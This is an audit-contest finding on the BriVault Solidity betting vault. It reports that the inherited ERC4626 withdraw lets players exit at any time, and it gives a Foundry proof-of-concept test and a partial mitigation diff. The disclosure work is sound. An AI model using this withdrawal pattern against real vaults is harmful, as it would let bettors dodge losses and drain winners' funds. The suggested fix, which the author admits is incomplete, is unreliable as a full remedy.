BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Using ERC4626 allows the user to directly call ERC4626::withdraw to withdraw the underlying asset at anytime of the game.

Using ERC4626 allows the user to directly call ERC4626::withdraw to withdraw the underlying asset at anytime of the game

Description

  • Normally, the user should only be able to withdraw their asset using briVault::cancelParticipation and briVault::withdraw. The inherited ERC4626::withdraw allows the user to directly burn their token to redeem the underlying asset at anytime because briVault::withdraw does not override ERC4626::withdraw.

// In briVault.sol
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(
shares,
vaultAsset,
totalWinnerShares
);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
// In ERC4626.sol
function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256) {
uint256 maxAssets = maxWithdraw(owner);
if (assets > maxAssets) {
revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets);
}
uint256 shares = previewWithdraw(assets);
@> _withdraw(_msgSender(), receiver, owner, assets, shares);
return shares;
}

Risk

Likelihood: High

  • Reason 1: When the user see he bets on the wrong country, he could instantly withdraw the underlying asset and only lose the fee.

Impact: High

  • Impact 1: Everyone simply withdraw when they bet on the wrong team. The winners will not get anything and will lose the fee portion of their deposit.

  • Impact 2: Withdrawing after joining does not deduct the withdraw amount from briVault::totalWinnerShares, diluting the shares of the winner.

  • Impact 3: Withdrawing after game ends will not deduct the amount from the briVault::finalizeVaultAsset. This could cause insufficient asset balance when withdrawing.

Proof of Concept

This proof of code function shows that an user could withdraw before, during and after the game and can be run in the provided briVault.t.sol

function testJoinAndWithdraw() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
//USER 1 DEPOSITS AND JOIN EVENT
uint256 balanceBeforeUser1 = mockToken.balanceOf(user1);
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
vm.stopPrank();
//USER 2 DEPOSITS AND JOIN EVENT
uint256 balanceBeforeUser2 = mockToken.balanceOf(user2);
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
//USER 3 DEPOSITS AND JOIN EVENT
uint256 balanceBeforeUser3 = mockToken.balanceOf(user3);
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user3);
briVault.joinEvent(30);
vm.stopPrank();
//user 1 withdraws before the event starts
uint256 fee = (5 ether * participationFeeBsp) / 10000;
vm.prank(user1);
briVault.withdraw(5 ether - fee, user1, user1);
assertEq(mockToken.balanceOf(user1), balanceBeforeUser1 - fee);
//withdraw during the event
vm.warp(eventStartDate + 4 days);
vm.roll(block.number + 1);
vm.prank(user2);
briVault.withdraw(5 ether - fee, user2, user2);
vm.stopPrank();
assertEq(mockToken.balanceOf(user2), balanceBeforeUser2 - fee);
//withdraw after the event
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
console.log(briVault.finalizedVaultAsset());
vm.stopPrank();
vm.prank(user3);
briVault.withdraw(5 ether - fee, user3, user3);
assertEq(mockToken.balanceOf(user3), balanceBeforeUser3 - fee);
}

Recommended Mitigation

Consider overriding withdraw(uint256 assets, address receiver, address owner) in briVault.sol and redirect calls to the withdraw() function. This only fixes the issue of the user being able to call the inherited ERC4626::withdraw and does not solve the issues with totalWinnerShares not updating after removing shares from the contract.

// In briVault.sol
+ function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256){
+ withdraw(receiver);
+ }
-function withdraw() external winnerSet {
+function withdraw(address receiver) external winnerSet{
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
//@audit if the user has not joined the event and the winner has not been set, the user will directly win
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(
shares,
vaultAsset,
totalWinnerShares
);
_burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
+ IERC20(asset()).safeTransfer(receiver, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!